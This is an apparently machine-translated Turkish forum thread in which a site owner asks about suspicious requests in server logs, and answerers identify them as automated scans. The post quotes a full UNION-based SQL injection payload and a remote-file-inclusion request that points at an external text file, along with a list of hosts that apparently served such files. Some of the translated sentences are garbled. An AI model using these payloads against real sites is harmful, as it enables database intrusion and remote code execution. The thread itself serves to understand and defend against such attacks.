Bu bir enjeksiyon girişimi ya da normal bir istek var mı?

4 Cevap php

CPanel Analog İstatistikleri istatistik modülü, ben aşağıdaki örneğe bağlamak için sayısız isteklerini fark ettik:

/?x=19&y=15

Sayılar rastgele, ancak her zaman ayarlama, x ve y değişken.

Gizemli istekleri başka kategori:

/?id=http://nic.bupt.edu.cn/media/j1.txt??

Hem de onları içine yazılmış düz sql var istek günlüğüne enjeksiyonlar diğer girişimleri vardır. Örnek:

 /jobs/jobinfo.php?id=-999.9 UNION ALL SELECT 1,(SELECT concat(0x7e,0x27,count(table_name),0x27,0x7e) FROM information_schema.tables WHERE table_schema=0x73636363726F6F745F7075626C6963),3,4,5,6,7,8,9,10,11,12,13--

Hepsi bir 404 ulaşıyor, ama ben hala bu arkasındaki niyeti merak ediyorum gibi görünüyor.

Ben bu muğlak olduğunu biliyorum, ama belki birisi cPanel & kullanırken bunun normal olduğunu bilir phpMyAdmin hizmetleri. Ayrıca, nedeni olabilir sitede yüklü bir arama kutusu vardı.

Bütün bunlar ne olarak herhangi bir öneriniz?

EDIT

Ben istek listelerinin tüm bunlar çekti ve onlar işaret ediyor txt kesti. Belki de bu bunlar saldırıların ne tür olarak daha çok yardım sağlar.

http://www.diakonia-jkt.sch.id
http://www.nationalmedecine.com
http://muzykologia.lublin.pl
http://www.abi.co.uk
http://stul.netsolutions.cz
http://jack.tiscali.it
http://solid.go.ro
http://nic.bupt.edu.cn
http://www.europeanforumcyprus.eu
http://www.nationalmedecine.com

Ayrıca phpMyAdmin durumu bölümünde, bu ~ saatte 900 change DB Queries gösterir. Bir kullanıcı sadece privs db herhangi bir gerçek zarar seçebilir miyim? Orada hiçbir kişisel bilgi olduğunu, ancak bu O.Ç. adlı bant genişliği kadar tıkanma vardır.

4 Cevap

(?) Bu (üst biri hariç) kod zayıflıkları bulmak için çalışır otomatik vardır;

/? Id = http://nic.bupt.edu.cn/media/j1.txt?

Başka bir sunucudan bir PHP sayfası almak için çalışır. Özellikle eski PHP yazılımı ile tanınmış bir sorun.

"UNION ALL SELECT 1" açık bir SQL ekleme girişimi. Şema ID 0x73636363726F6F745F7075626C6963 "scccroot_public" için deşifre eder. Ben bu hangi veritabanı için emin değilim. Ama onu kontrol altına almak için çalışıyoruz, bu kesin.

x=19&y=15 Eğer method=get ile sitenizde bir form ve bir girişi var gibi görünüyor type=image. Eğer yönlendirme oturum?

/?x=19&y=15 temsil edebilir bir <input type="image" />

/? Id = http://nic.bupt.edu.cn/media/j1.txt? bir düz metin dosyası O_O yükler nedeniyle cross-site şeyler, bir işe yaramaz bir çeşit gibi görünüyor

etiketler